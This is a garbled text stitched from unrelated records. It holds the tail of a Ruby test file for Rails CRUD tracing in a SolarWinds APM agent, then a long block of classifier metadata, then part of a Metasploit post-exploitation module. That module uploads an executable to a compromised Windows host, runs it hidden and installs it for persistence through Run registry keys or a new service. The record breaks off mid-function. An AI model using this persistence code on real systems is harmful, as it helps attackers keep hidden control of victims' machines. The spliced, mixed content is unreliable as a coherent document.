for\"\n end\n\n it \"should trace READ correctly\" do\n response = read_widget(@widget)\n _(response.code).must_equal '200'\n\n traces = get_all_traces\n\n _(traces.select { |trace| trace['Label'] == 'error' }.count).must_equal 0\n\n traces.select! { |trace| trace['Label'] == 'entry' && trace['Layer'] == 'activerecord' }\n _(traces.count).must_equal 1, filter_traces(traces).pretty_inspect\n _(traces[0]['Query']).must_match /SELECT/\n\n # assert query_logged?(/#{@log_traceid_regex}INSERT/), \"Logged query didn't match what we're looking for\"\n assert query_logged?(/#{@log_traceid_regex}SELECT/), \"Logged query didn't match what we're looking for\"\n end\n\n it \"should trace UPDATE correctly\" do\n @widget['name'] = 'Sand'\n @widget['description'] = 'the sandy dog'\n response = update_widget(@widget)\n _(response.code).must_equal '200'\n\n traces = get_all_traces\n\n _(traces.select { |trace| trace['Label'] == 'error' }.count).must_equal 0\n\n traces.select! { |trace| trace['Label'] == 'entry' && trace['Layer'] == 'activerecord' }\n _(traces.count).must_equal 2, filter_traces(traces).pretty_inspect\n\n _(traces.select { |trace| trace['Query'] =~ /SELECT/ }.count).must_equal 1\n _(traces.select { |trace| trace['Query'] =~ /UPDATE/ }.count).must_equal 1\n\n assert query_logged?(/#{@log_traceid_regex}SELECT/), \"Logged query didn't match what we're looking for\"\n assert query_logged?(/#{@log_traceid_regex}UPDATE/), \"Logged query didn't match what we're looking for\"\n end\n\n it \"should trace DELETE correctly\" do\n response = destroy_widget(@widget)\n _(response.code).must_equal '200'\n\n traces = get_all_traces\n\n _(traces.select { |trace| trace['Label'] == 'error' }.count).must_equal 0\n\n traces.select! { |trace| trace['Label'] == 'entry' && trace['Layer'] == 'activerecord' }\n _(traces.count).must_equal 1, filter_traces(traces).pretty_inspect\n _(traces[0]['Query']).must_match /DELETE/\n\n assert query_logged?(/#{@log_traceid_regex}\\s*DELETE/), \"Logged query didn't match what we're looking for\"\n end\nend\n\ndef create_widget\n uri = URI.parse(\"http://127.0.0.1:8140/widgets\")\n header = { 'Content-Type' => 'application/json' }\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, header)\n\n widget = { widget: { name: 'Bob', description: 'the bobby dog' } }\n request.body = widget.to_json\n http.request(request)\nend\n\ndef read_widget(widget)\n uri = URI.parse(\"http://127.0.0.1:8140/widgets/#{widget['id']}\")\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n http.request(request)\nend\n\ndef update_widget(widget)\n uri = URI.parse(\"http://127.0.0.1:8140/widgets/#{widget['id']}\")\n header = { 'Content-Type' => 'application/json' }\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Put.new(uri.request_uri, header)\n request.body = { :widget => widget }.to_json\n http.request(request)\nend\n\ndef destroy_widget(widget)\n uri = URI.parse(\"http://127.0.0.1:8140/widgets/#{widget['id']}\")\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new(uri.request_uri)\n http.request(request)\nend", "text_preview": "# Copyright (c) 2018 SolarWinds, LLC. # All rights reserved. require \"minitest_helper\" require 'mocha/minitest' describe \"Rails CRUD Tests\" do before do SolarWindsAPM.config_lock.synchronize { @tm = SolarWindsAPM::Config[:tracing_mode] @sam", "input_sha256": "85b8f4ac9af22fb0d0e2961a36e1edbd3f8e774f6361b0edf38ea5f439602cfd", "text_sha256": "226acb3914afea6a34d4d9d81985d82d2cd80475e25a24e3231523a6e919f0fd", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16004, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2516507257629317, "noise_severity": 0.2622261496890076, "missing_content_severity": 0.02013244217787589, "factual_density": 3.2149917315368257, "pretraining_utility": 0.3701637974507073, "math_density": 0.08514403473693712, "code_density": 3.876441696286084, "reasoning_density": 0.6546085112610543, "education_level": 2.756571900619915, "creative_writing_quality": -0.2348173710812685}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.08748525951376174, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9852363847689843, "secondary": 0.5462083281864129, "tertiary": 0.6374972946355555, "structured_records": 0.0784416698484795, "procedural_steps": 0.023628978688366987, "worked_solution": 0.07903063565898913, "contextual_dialogue": 8.276669292618004e-06, "content_quality": 0.5659986456622341, "noise_severity": 0.7814782085924936, "missing_content_severity": 0.9832229648517701, "factual_density": 0.5137379157432354, "pretraining_utility": 0.47593354124491505, "math_density": 0.9290466377192191, "code_density": 0.8970347469050702, "reasoning_density": 0.4544929072824545, "education_level": 0.41757009108384996, "creative_writing_quality": 0.9992949347268993, "primary_topic": 0.9975770936647219, "secondary_topic": 0.9614319387063256}, "probability_margin": {"primary": 0.9755840213584056, "secondary": 0.16999608991774234, "tertiary": 0.32464279861014994, "education_level": 0.1605073583880065, "creative_writing_quality": 0.9991170600246702, "primary_topic": 0.9962578494326881, "secondary_topic": 0.9481068047365901}, "raw_probabilities": {"primary": {"Academic Writing": 0.0001239537758099218, "Content Listing": 4.606622954843452e-05, "Creative Writing": 4.783008820703319e-05, "Customer Support Page": 5.0728289464419874e-05, "Q&A Forum": 3.027049626732424e-05, "Discussion Thread": 1.8257717130578592e-05, "Comment Section": 3.7443936869052776e-05, "Missing Content": 5.8777979511836444e-05, "Knowledge Article": 0.00015346779788594892, "Legal Notices": 0.0003470757986786631, "News Article": 1.4882746165512445e-05, "Organizational Announcement": 3.9406404831065475e-05, "Nonfiction Writing": 3.520730709975707e-05, "Organizational About Page": 3.3347280642363906e-05, "Personal About Page": 2.223808290253432e-05, "Personal Blog": 1.9074874324585094e-05, "Product Page": 1.7715995838936353e-05, "Spam / Ads": 2.337926156082576e-05, "Structured Data": 0.0010155110913222228, "Technical Writing": 0.98585153540361, "Transcript / Interview": 5.1301154031434955e-05, "Tutorial / How-To Guide": 0.001676784294242143, "User Reviews": 1.8229948850709695e-05, "Other / Unknown": 0.01026751404520448}, "secondary": {"Academic Writing": 0.0009205587768049852, "Content Listing": 0.0005402156769762975, "Creative Writing": 0.0007046577289546763, "Customer Support Page": 0.00045947592106429356, "Q&A Forum": 0.0004043875949014954, "Discussion Thread": 0.0003572408545568703, "Comment Section": 0.0005372140505336663, "Missing Content": 0.0007623611289470092, "Knowledge Article": 0.001064197277945885, "Legal Notices": 0.3951202245942366, "News Article": 0.0006195402095724703, "Organizational Announcement": 0.0006458115466361982, "Nonfiction Writing": 0.000534392925290728, "Organizational About Page": 0.0006635944821806882, "Personal About Page": 0.0003803945316865151, "Personal Blog": 0.00034273353492166633, "Product Page": 0.0003800455233639924, "Spam / Ads": 0.00043495543999018177, "Structured Data": 0.003997398178548232, "Technical Writing": 0.02279322056973042, "Transcript / Interview": 0.0007910169971661441, "Tutorial / How-To Guide": 0.002102296425421207, "User Reviews": 0.00032775151859073745, "NONE": 0.565116314511979}, "tertiary": {"Academic Writing": 0.0005349602057702984, "Content Listing": 0.0003305412010367533, "Creative Writing": 0.0004950494649626847, "Customer Support Page": 0.0003018341285170546, "Q&A Forum": 0.00023463426245545028, "Discussion Thread": 0.0002075628306454891, "Comment Section": 0.00033967806231052897, "Missing Content": 0.00046233742143534447, "Knowledge Article": 0.0007173983562459286, "Legal Notices": 0.32795877541559076, "News Article": 0.00035612573271306844, "Organizational Announcement": 0.0003939276780353075, "Nonfiction Writing": 0.0003151168895547316, "Organizational About Page": 0.00044244842864764767, "Personal About Page": 0.00024520226312045514, "Personal Blog": 0.0002146164047561114, "Product Page": 0.0002700287722823485, "Spam / Ads": 0.00026426984186546566, "Structured Data": 0.0014846117254861027, "Technical Writing": 0.009815440978962468, "Transcript / Interview": 0.00044388899110333187, "Tutorial / How-To Guide": 0.0013832449117340872, "User Reviews": 0.00018673200702789034, "NONE": 0.6526015740257407}, "structured_records": {"false": 0.9215583301515204, "true": 0.0784416698484795}, "procedural_steps": {"false": 0.976371021311633, "true": 0.023628978688366987}, "worked_solution": {"false": 0.9209693643410108, "true": 0.07903063565898913}, "contextual_dialogue": {"false": 0.9999917233307074, "true": 8.276669292618004e-06}, "content_quality": {"-2": 0.0035091130963527395, "-1": 0.006681030913141713, "0": 0.11068604860585195, "1": 0.49289763190052815, "2": 0.3862261754841254}, "noise_severity": {"0": 0.7469546993257192, "1": 0.24749804420477867, "2": 0.00316655343959895, "3": 0.001127813514581472, "4": 0.001252889515321654}, "missing_content_severity": {"0": 0.9832787891834979, "1": 0.014365642994003383, "2": 0.0015367342555502527, "3": 0.000582003595021601, "4": 0.00023682997192679946}, "factual_density": {"0": 0.0052544730900472335, "1": 0.01492498251250627, "2": 0.13864800049049192, "3": 0.44191942758448305, "4": 0.39925311632247146}, "pretraining_utility": {"-2": 0.009054375057887674, "-1": 0.11124922641192196, "0": 0.43597308102978954, "1": 0.3879248610223971, "2": 0.05579845647800376}, "math_density": {"0": 0.9303692511522909, "1": 0.0619038557121616, "2": 0.0032115418754559712, "3": 0.0012443097665022843, "4": 0.0032710414935891766}, "code_density": {"0": 0.00025093268237495585, "1": 0.0004526279190039352, "2": 0.007897009507764743, "3": 0.10540267021187459, "4": 0.8859967596789817}, "reasoning_density": {"0": 0.6786719017207797, "1": 0.10926166797281589, "2": 0.11996579561641645, "3": 0.06298728670454674, "4": 0.029113347985441372}, "education_level": {"none": 0.0011253899498542325, "0": 0.0014414204682035607, "1": 0.00445085502908333, "2": 0.35413438418186843, "3": 0.5146417425698749, "4": 0.12420620780111544}, "creative_writing_quality": {"not_applicable": 0.9994124456057495, "-2": 6.907990276830231e-05, "-1": 0.0001247899650125542, "0": 0.00029538558107929753, "1": 7.161609845648609e-05, "2": 2.668284693377191e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.3098875094489525e-05, "Art & Design": 2.322039611226441e-05, "Law & Crime": 2.485954136076564e-05, "Education & Careers": 2.1702416904265948e-05, "Entertainment & Media": 1.764094513796046e-05, "Fashion & Beauty": 1.2213362444355968e-05, "Business, Economics & Finance": 7.776534767488011e-05, "Food & Dining": 1.6239291129968916e-05, "Games & Gaming": 3.628413727311832e-05, "Electronics & Hardware": 5.333201516874666e-05, "Health, Healthcare & Wellness": 1.6107661486575412e-05, "History & Geography": 1.7752458820715537e-05, "Home, Pets & Hobbies": 4.573071526505919e-05, "Industry & Production": 2.1090515066660885e-05, "Language, Literature & Philosophy": 2.3030258358233324e-05, "Politics & Government": 1.0987844437711569e-05, "Religion & Spirituality": 1.7400090600318642e-05, "Science, Mathematics & Engineering": 0.00019543802904629183, "Relationships & Community": 1.427639598123162e-05, "Software Usage & Applications": 0.0014124329372367799, "Programming & Software Engineering": 0.9976702823699249, "Sports & Fitness": 2.7168838619217866e-05, "Vehicles & Transportation": 1.164812172955851e-05, "Travel & Tourism": 2.3732046506539426e-05, "Other / Uncovered Subject": 0.00014494504330384234, "Unknown / Insufficient Content": 4.1620345315817585e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000251831753060266, "Art & Design": 0.00018818843130212953, "Law & Crime": 0.002822172516289645, "Education & Careers": 0.00018235334784708198, "Entertainment & Media": 0.00018302743185856236, "Fashion & Beauty": 9.880884877387214e-05, "Business, Economics & Finance": 0.0011218270940804714, "Food & Dining": 0.00010497418763711907, "Games & Gaming": 0.00016476546080136363, "Electronics & Hardware": 0.0002870315048468224, "Health, Healthcare & Wellness": 0.00011433903181380294, "History & Geography": 0.00010973757293392006, "Home, Pets & Hobbies": 0.00022802887770162714, "Industry & Production": 9.238067742254053e-05, "Language, Literature & Philosophy": 0.00010058827044570239, "Politics & Government": 0.00010727455741030571, "Religion & Spirituality": 0.00013589930127518105, "Science, Mathematics & Engineering": 0.0004855957439618337, "Relationships & Community": 7.32195240602165e-05, "Software Usage & Applications": 0.014671912436849533, "Programming & Software Engineering": 0.014808520942569145, "Sports & Fitness": 0.00010450606345606713, "Vehicles & Transportation": 5.845176298954432e-05, "Travel & Tourism": 0.0001289794776832324, "Other / Uncovered Subject": 0.00046025950377063407, "NONE": 0.9629153256791593}}, "probabilities": {"primary": {"Academic Writing": 0.00012395377580992184, "Content Listing": 4.606622954843454e-05, "Creative Writing": 4.7830088207033204e-05, "Customer Support Page": 5.072828946441989e-05, "Q&A Forum": 3.0270496267324245e-05, "Discussion Thread": 1.8257717130578595e-05, "Comment Section": 3.744393686905278e-05, "Missing Content": 5.877797951183646e-05, "Knowledge Article": 0.00015346779788594895, "Legal Notices": 0.00034707579867866316, "News Article": 1.4882746165512448e-05, "Organizational Announcement": 3.940640483106548e-05, "Nonfiction Writing": 3.520730709975708e-05, "Organizational About Page": 3.334728064236391e-05, "Personal About Page": 2.2238082902534324e-05, "Personal Blog": 1.9074874324585097e-05, "Product Page": 1.7715995838936357e-05, "Spam / Ads": 2.3379261560825768e-05, "Structured Data": 0.001015511091322223, "Technical Writing": 0.9858515354036103, "Transcript / Interview": 5.130115403143497e-05, "Tutorial / How-To Guide": 0.0016767842942421434, "User Reviews": 1.8229948850709698e-05, "Other / Unknown": 0.010267514045204481}, "secondary": {"Academic Writing": 0.0009205587768049852, "Content Listing": 0.0005402156769762975, "Creative Writing": 0.0007046577289546763, "Customer Support Page": 0.00045947592106429356, "Q&A Forum": 0.0004043875949014954, "Discussion Thread": 0.0003572408545568703, "Comment Section": 0.0005372140505336663, "Missing Content": 0.0007623611289470092, "Knowledge Article": 0.001064197277945885, "Legal Notices": 0.3951202245942366, "News Article": 0.0006195402095724703, "Organizational Announcement": 0.0006458115466361982, "Nonfiction Writing": 0.000534392925290728, "Organizational About Page": 0.0006635944821806882, "Personal About Page": 0.0003803945316865151, "Personal Blog": 0.00034273353492166633, "Product Page": 0.0003800455233639924, "Spam / Ads": 0.00043495543999018177, "Structured Data": 0.003997398178548232, "Technical Writing": 0.02279322056973042, "Transcript / Interview": 0.0007910169971661441, "Tutorial / How-To Guide": 0.002102296425421207, "User Reviews": 0.00032775151859073745, "NONE": 0.565116314511979}, "tertiary": {"Academic Writing": 0.0005349602057702984, "Content Listing": 0.0003305412010367533, "Creative Writing": 0.0004950494649626847, "Customer Support Page": 0.0003018341285170546, "Q&A Forum": 0.00023463426245545028, "Discussion Thread": 0.0002075628306454891, "Comment Section": 0.00033967806231052897, "Missing Content": 0.00046233742143534447, "Knowledge Article": 0.0007173983562459286, "Legal Notices": 0.32795877541559076, "News Article": 0.00035612573271306844, "Organizational Announcement": 0.0003939276780353075, "Nonfiction Writing": 0.0003151168895547316, "Organizational About Page": 0.00044244842864764767, "Personal About Page": 0.00024520226312045514, "Personal Blog": 0.0002146164047561114, "Product Page": 0.0002700287722823485, "Spam / Ads": 0.00026426984186546566, "Structured Data": 0.0014846117254861027, "Technical Writing": 0.009815440978962468, "Transcript / Interview": 0.00044388899110333187, "Tutorial / How-To Guide": 0.0013832449117340872, "User Reviews": 0.00018673200702789034, "NONE": 0.6526015740257407}, "structured_records": {"false": 0.9215583301515204, "true": 0.0784416698484795}, "procedural_steps": {"false": 0.976371021311633, "true": 0.023628978688366987}, "worked_solution": {"false": 0.9209693643410108, "true": 0.07903063565898913}, "contextual_dialogue": {"false": 0.9999917233307074, "true": 8.276669292618004e-06}, "content_quality": {"-2": 0.0035091130963527395, "-1": 0.006681030913141713, "0": 0.11068604860585195, "1": 0.49289763190052815, "2": 0.3862261754841254}, "noise_severity": {"0": 0.7469546993257192, "1": 0.24749804420477867, "2": 0.00316655343959895, "3": 0.001127813514581472, "4": 0.001252889515321654}, "missing_content_severity": {"0": 0.983278789183498, "1": 0.014365642994003384, "2": 0.001536734255550253, "3": 0.0005820035950216011, "4": 0.0002368299719267995}, "factual_density": {"0": 0.005254473090047234, "1": 0.014924982512506272, "2": 0.13864800049049195, "3": 0.4419194275844831, "4": 0.3992531163224715}, "pretraining_utility": {"-2": 0.009054375057887674, "-1": 0.11124922641192196, "0": 0.43597308102978954, "1": 0.3879248610223971, "2": 0.05579845647800376}, "math_density": {"0": 0.930369251152291, "1": 0.06190385571216161, "2": 0.0032115418754559717, "3": 0.0012443097665022845, "4": 0.003271041493589177}, "code_density": {"0": 0.00025093268237495585, "1": 0.0004526279190039352, "2": 0.007897009507764743, "3": 0.10540267021187459, "4": 0.8859967596789817}, "reasoning_density": {"0": 0.6786719017207796, "1": 0.10926166797281586, "2": 0.11996579561641642, "3": 0.06298728670454673, "4": 0.029113347985441365}, "education_level": {"none": 0.0011253899498542327, "0": 0.0014414204682035609, "1": 0.0044508550290833305, "2": 0.3541343841818685, "3": 0.514641742569875, "4": 0.12420620780111545}, "creative_writing_quality": {"not_applicable": 0.9994124456057496, "-2": 6.907990276830233e-05, "-1": 0.00012478996501255423, "0": 0.0002953855810792976, "1": 7.16160984564861e-05, "2": 2.6682846933771913e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.309887509448952e-05, "Art & Design": 2.3220396112264403e-05, "Law & Crime": 2.4859541360765634e-05, "Education & Careers": 2.1702416904265945e-05, "Entertainment & Media": 1.7640945137960456e-05, "Fashion & Beauty": 1.2213362444355964e-05, "Business, Economics & Finance": 7.77653476748801e-05, "Food & Dining": 1.6239291129968913e-05, "Games & Gaming": 3.6284137273118315e-05, "Electronics & Hardware": 5.333201516874665e-05, "Health, Healthcare & Wellness": 1.610766148657541e-05, "History & Geography": 1.7752458820715534e-05, "Home, Pets & Hobbies": 4.573071526505918e-05, "Industry & Production": 2.109051506666088e-05, "Language, Literature & Philosophy": 2.3030258358233317e-05, "Politics & Government": 1.0987844437711567e-05, "Religion & Spirituality": 1.740009060031864e-05, "Science, Mathematics & Engineering": 0.00019543802904629177, "Relationships & Community": 1.4276395981231617e-05, "Software Usage & Applications": 0.0014124329372367796, "Programming & Software Engineering": 0.9976702823699247, "Sports & Fitness": 2.716883861921786e-05, "Vehicles & Transportation": 1.1648121729558507e-05, "Travel & Tourism": 2.373204650653942e-05, "Other / Uncovered Subject": 0.0001449450433038423, "Unknown / Insufficient Content": 4.162034531581758e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00025183175306026605, "Art & Design": 0.00018818843130212956, "Law & Crime": 0.0028221725162896455, "Education & Careers": 0.000182353347847082, "Entertainment & Media": 0.0001830274318585624, "Fashion & Beauty": 9.880884877387216e-05, "Business, Economics & Finance": 0.0011218270940804716, "Food & Dining": 0.00010497418763711909, "Games & Gaming": 0.00016476546080136366, "Electronics & Hardware": 0.0002870315048468225, "Health, Healthcare & Wellness": 0.00011433903181380295, "History & Geography": 0.00010973757293392007, "Home, Pets & Hobbies": 0.00022802887770162716, "Industry & Production": 9.238067742254054e-05, "Language, Literature & Philosophy": 0.0001005882704457024, "Politics & Government": 0.00010727455741030573, "Religion & Spirituality": 0.00013589930127518108, "Science, Mathematics & Engineering": 0.0004855957439618338, "Relationships & Community": 7.321952406021652e-05, "Software Usage & Applications": 0.014671912436849534, "Programming & Software Engineering": 0.014808520942569146, "Sports & Fitness": 0.00010450606345606715, "Vehicles & Transportation": 5.845176298954433e-05, "Travel & Tourism": 0.00012897947768323242, "Other / Uncovered Subject": 0.0004602595037706341, "NONE": 0.9629153256791594}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10258, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10258, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:07.294203+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "fa8490e0-7772-40b7-bc5d-bede62ed7278", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "c91f27c1dc2bc6d6af8cc947959176b5cd4a2d0e21ef66f2db369774a1a9286c", "source_metadata": {"uuid": "fa8490e0-7772-40b7-bc5d-bede62ed7278", "repo_name": "solarwinds/solarwinds-apm-ruby", "relative_path": "test/frameworks/rails_crud_test.rb", "category": "TEST", "algo_rel_score": 0.862481415271759, "quality_score": 7.210005760192871, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 5086, "repo_created_at": "2022-07-15T17:30:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3, "forks": 1, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "bc1b6ffef9111c6b7bb15c648dcae4cc7530201f", "size_bytes": 5772, "file_timestamp": 1706133994, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "24cbb19aebb746890c94421d46df33f96111e5aa"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 5086, "repo_created_at": "2022-07-15T17:30:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3, "forks": 1, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "bc1b6ffef9111c6b7bb15c648dcae4cc7530201f", "size_bytes": 5772, "file_timestamp": 1706133994, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "24cbb19aebb746890c94421d46df33f96111e5aa", "url": "https://github.com/solarwinds/solarwinds-apm-ruby/blob/24cbb19aebb746890c94421d46df33f96111e5aa/test/frameworks/rails_crud_test.rb"}, "gpt4o_tokens": 1656, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2516507257629317, "noise_severity": 0.2622261496890076, "missing_content_severity": 0.02013244217787589, "factual_density": 3.2149917315368257, "pretraining_utility": 0.3701637974507073, "math_density": 0.08514403473693712, "code_density": 3.876441696286084, "reasoning_density": 0.6546085112610543, "education_level": 2.756571900619915, "creative_writing_quality": -0.2348173710812685}, "score_applicability": {"education_level": 0.9988746100501459, "creative_writing_quality": 0.0005875543942504122}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/porthunter/gosploit/blob/3b1370488af9de826f0be4d7df92029c30434fd6/modules/post/windows/manage/persistence_exe.rb", "id": "ruby-0-f23b5731ee74af6048f808928880bb5f", "text": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/post/common'\nrequire 'msf/core/post/file'\nrequire 'msf/core/post/windows/priv'\nrequire 'msf/core/post/windows/registry'\nrequire 'msf/core/post/windows/services'\n\nclass MetasploitModule < Msf::Post\n include Msf::Post::Common\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Registry\n include Msf::Post::Windows::Services\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Windows Manage Persistent EXE Payload Installer',\n 'Description' => %q(\n This Module will upload an executable to a remote host and make it Persistent.\n It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,\n SYSTEM will start on system boot but requires privs. SERVICE will create a new service\n which will start the payload. Again requires privs.\n ),\n 'License' => MSF_LICENSE,\n 'Author' => [ ' ' ],\n 'Version' => '$Revision:1$',\n 'Platform' => [ 'windows' ],\n 'SessionTypes' => [ 'meterpreter']))\n\n register_options(\n [\n OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),\n OptPath.new('REXEPATH', [true, 'The remote executable to use.']),\n OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])\n ], self.class\n )\n end\n\n # Run Method for when run command is issued\n #-------------------------------------------------------------------------------\n def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n # Set vars\n rexe = datastore['REXEPATH']\n rexename = datastore['REXENAME']\n host, _port = session.tunnel_peer.split(':')\n @clean_up_rc = \"\"\n\n raw = create_payload_from_file rexe\n\n # Write script to %TEMP% on target\n script_on_target = write_exe_to_target(raw, rexename)\n\n # Initial execution of script\n target_exec(script_on_target)\n\n case datastore['STARTUP']\n when /USER/i\n write_to_reg(\"HKCU\", script_on_target)\n when /SYSTEM/i\n write_to_reg(\"HKLM\", script_on_target)\n when /SERVICE/i\n install_as_service(script_on_target)\n end\n\n clean_rc = log_file\n file_local_write(clean_rc, @clean_up_rc)\n print_status(\"Cleanup Meterpreter RC File: #{clean_rc}\")\n\n report_note(host: host,\n type: \"host.persistance.cleanup\",\n data: {\n local_id: session.sid,\n stype: session.type,\n desc: session.info,\n platform: session.platform,\n via_payload: session.via_payload,\n via_exploit: session.via_exploit,\n created_at: Time.now.utc,\n commands: @clean_up_rc\n })\n end\n\n # Function for creating log folder and returning log path\n #-------------------------------------------------------------------------------\n def log_file(log_path = nil)\n # Get hostname\n host = session.sys.config.sysinfo[\"Computer\"]\n\n # Create Filename info to be appended to downloaded files\n filenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n # Create a directory for the logs\n logs = if log_path\n ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n else\n ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n end\n\n # Create the log directory\n ::FileUtils.mkdir_p(logs)\n\n # logfile name\n logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + \".rc\"\n logfile\n end\n\n # Function to execute script on target and return the PID of the process\n #-------------------------------------------------------------------------------\n def target_exec(script_on_target)\n print_status(\"Executing script #{script_on_target}\")\n proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)\n print_good(\"Agent executed with PID #{proc.pid}\")\n @clean_up_rc << \"kill #{proc.pid}\\n\"\n proc.pid\n end\n\n # Function to install payload in to the registry HKLM or HKCU\n #-------------------------------------------------------------------------------\n def write_to_reg(key, script_on_target)\n nam = Rex::Text.rand_text_alpha(rand(8) + 8)\n print_status(\"Installing into autorun as #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\#{nam}\")\n if key\n 